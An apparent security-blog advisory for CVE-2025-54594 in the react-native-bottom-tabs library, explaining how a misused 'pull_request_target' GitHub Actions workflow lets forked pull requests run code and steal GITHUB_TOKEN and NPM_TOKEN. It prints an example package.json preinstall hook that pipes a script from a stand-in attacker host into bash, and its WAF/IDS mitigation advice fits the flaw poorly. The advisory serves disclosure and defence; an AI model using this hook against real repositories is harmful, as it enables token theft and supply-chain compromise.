{"id":63988,"date":"2025-08-11T22:51:38","date_gmt":"2025-08-11T22:51:38","guid":{"rendered":""},"modified":"2025-09-06T11:54:31","modified_gmt":"2025-09-06T17:54:31","slug":"cve-2025-54594-critical-vulnerability-in-react-native-bottom-tabs-library-allows-for-arbitrary-code-execution","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54594-critical-vulnerability-in-react-native-bottom-tabs-library-allows-for-arbitrary-code-execution\/","title":{"rendered":"<strong>CVE-2025-54594: Critical Vulnerability in react-native-bottom-tabs Library Allows for Arbitrary Code Execution<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability has been identified in the react-native-bottom-tabs library, a popular library for creating bottom tabs in React Native applications. This vulnerability, tagged as CVE-2025-54594, potentially exposes systems to compromise or data leakage, affecting developers and end-users of applications leveraging this library. It&#8217;s a serious issue that underscores the importance of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20133-remote-access-ssl-vpn-vulnerability-in-cisco-secure-firewall-asa-software-and-secure-ftd-software\/\"  data-wpil-monitor-id=\"76867\">secure coding practices and vigilant software<\/a> development life-cycle management.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54594<br \/>\nSeverity: Critical &#8211; 9.1 CVSS score<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78607\">System compromise<\/a>, Data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3601815503\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>react-native-bottom-tabs | 0.9.2 and below<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the GitHub Actions repository workflow in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48903-permission-bypass-vulnerability-in-media-library-module\/\"  data-wpil-monitor-id=\"72881\">react-native-bottom-tabs<\/a> library. Specifically, the &#8216;release-canary.yml&#8217; workflow improperly used the &#8216;pull_request_target&#8217; event trigger. This misconfiguration <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47168-use-after-free-vulnerability-in-microsoft-office-word-allowing-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"73067\">allows untrusted code<\/a> from a forked pull request to be executed in a privileged context.<br \/>\nAn <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77351\">attacker can exploit this vulnerability by creating a pull request<\/a> containing a malicious preinstall script in the &#8216;package.json&#8217; file. The attacker then triggers the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24000-authentication-bypass-vulnerability-in-wpexperts-post-smtp-plugin\/\"  data-wpil-monitor-id=\"78987\">vulnerable workflow by posting<\/a> a specific comment (&#8216;!canary&#8217;). This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30327-integer-overflow-vulnerability-in-incopy-leading-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"73542\">leads to arbitrary code<\/a> execution, potentially leading to the exfiltration of sensitive secrets such as GITHUB_TOKEN and NPM_TOKEN. These tokens could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3128-critical-vulnerability-in-mitsubishi-electric-smartrtu-allowing-remote-code-execution\/\"  data-wpil-monitor-id=\"76200\">allow an attacker to push malicious code<\/a> to the repository or publish compromised packages to the NPM registry.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3900715375\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following conceptual example demonstrates how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">\/\/ Malicious preinstall script in package.json\n{\n&quot;name&quot;: &quot;exploit&quot;,\n&quot;version&quot;: &quot;1.0.0&quot;,\n&quot;description&quot;: &quot;&quot;,\n&quot;main&quot;: &quot;index.js&quot;,\n&quot;scripts&quot;: {\n&quot;preinstall&quot;: &quot;curl https:\/\/attacker.com\/steal_secrets.sh | bash&quot;\n},\n&quot;author&quot;: &quot;&quot;,\n&quot;license&quot;: &quot;ISC&quot;\n}<\/code><\/pre>\n<p>Then, the attacker would comment &#8216;!canary&#8217; on the pull <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52797-critical-cross-site-request-forgery-csrf-vulnerability-in-josepsitjar-storymap\/\"  data-wpil-monitor-id=\"79363\">request to trigger the vulnerable<\/a> workflow.<\/p>\n<p><strong>Mitigation and Remediation<\/strong><\/p>\n<p>Currently, there is a remediation commit that removes the &#8216;release-canary.yml&#8217; file, but a version with this fix has yet to be officially released. Until the updated version is available, the recommended mitigation step is to either apply the vendor patch manually or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure.<br \/>\nIt is also recommended to review the security settings of your GitHub Actions to ensure that untrusted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74637\">code from forked pull requests cannot be executed<\/a> in a privileged context.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability has been identified in the react-native-bottom-tabs library, a popular library for creating bottom tabs in React Native applications. This vulnerability, tagged as CVE-2025-54594, potentially exposes systems to compromise or data leakage, affecting developers and end-users of applications leveraging this library. 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